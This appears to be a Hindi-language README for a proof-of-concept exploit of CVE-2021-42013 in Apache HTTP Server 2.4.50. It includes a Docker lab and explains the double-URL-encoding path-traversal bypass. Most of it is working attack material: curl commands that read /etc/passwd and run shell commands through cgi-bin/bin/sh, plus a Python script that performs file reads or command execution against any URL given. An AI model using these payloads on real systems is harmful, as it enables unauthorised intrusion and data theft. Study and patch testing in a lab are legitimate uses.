
CVE-2021-42013 Apache HTTP Server path traversal और remote code execution कमजोरी के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Docker-आधारित प्रयोगशाला वातावरण और Python PoC स्क्रिप्ट के साथ।
योगदानकर्ता
Apache HTTP Server 2.4.50 के पथ सामान्यीकरण प्रसंस्करण में एक बग के कारण प्रमाणीकरण के बिना मनमानी फ़ाइलें पढ़ी जा सकती हैं या रिमोट कोड निष्पादित किया जा सकता है।
CVE-2021-41773 के अधूरे पैच के कारण उत्पन्न हुआ और दोहरे URL एन्कोडिंग (%%32%65) के माध्यम से Apache के पथ अवरोधन को बायपास किया।
CVE-2021-42013 के काम करने के लिए निम्नलिखित शर्तों को पूरा करना होगा।
docker-compose up -d
परीक्षण वातावरण चल रहा है यह जांचने के लिए नीचे दिए गए कोड को चलाएँ।
docker-compose ps

सर्वर सामान्य रूप से चलने पर http://localhost:8080 तक पहुँचा जा सकता है।
पैरेंट फ़ोल्डर में जाने के लिए ../ का उपयोग किया जाता है, लेकिन Apache उन वर्णों को ब्लॉक कर देता है। इसे बायपास करने के लिए, . के एन्कोडेड मान 2e का उपयोग किया जा सकता है। Apache 2.4.50 संस्करण %2e एन्कोडिंग को डिकोड करने के बाद जांच करता है, इसलिए %2e2e का उपयोग करने पर ../ की तरह वर्ण ब्लॉक हो जाते हैं। इसलिए, दोहरे एन्कोडिंग का उपयोग करके %%32%65 के साथ उस फ़िल्टरिंग को बायपास करना होगा।
curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"

CGI सक्षम वातावरण में, अंतिम भाग को /bin/sh में बदलकर RCE संभव है।
curl -s --path-as-is -X POST \
--data "echo Content-Type: text/plain; echo; id; uname -a" \
"http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"

#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse
def exploit(target_url, mode, arg):
parsed = urlparse(target_url)
host = parsed.hostname
port = parsed.port or 80
trav = "%%32%65%%32%65/" * 4
if mode == "read":
path = f"/static/{trav}{arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("GET", path)
else:
path = f"/cgi-bin/{trav}bin/sh"
body = f"echo Content-Type: text/plain; echo; {arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
result = conn.getresponse().read().decode("utf-8", "replace")
conn.close()
return result
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"उपयोग: {sys.argv[0]} <url> <read|exec> <arg>")
sys.exit(1)
print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))

docker-compose down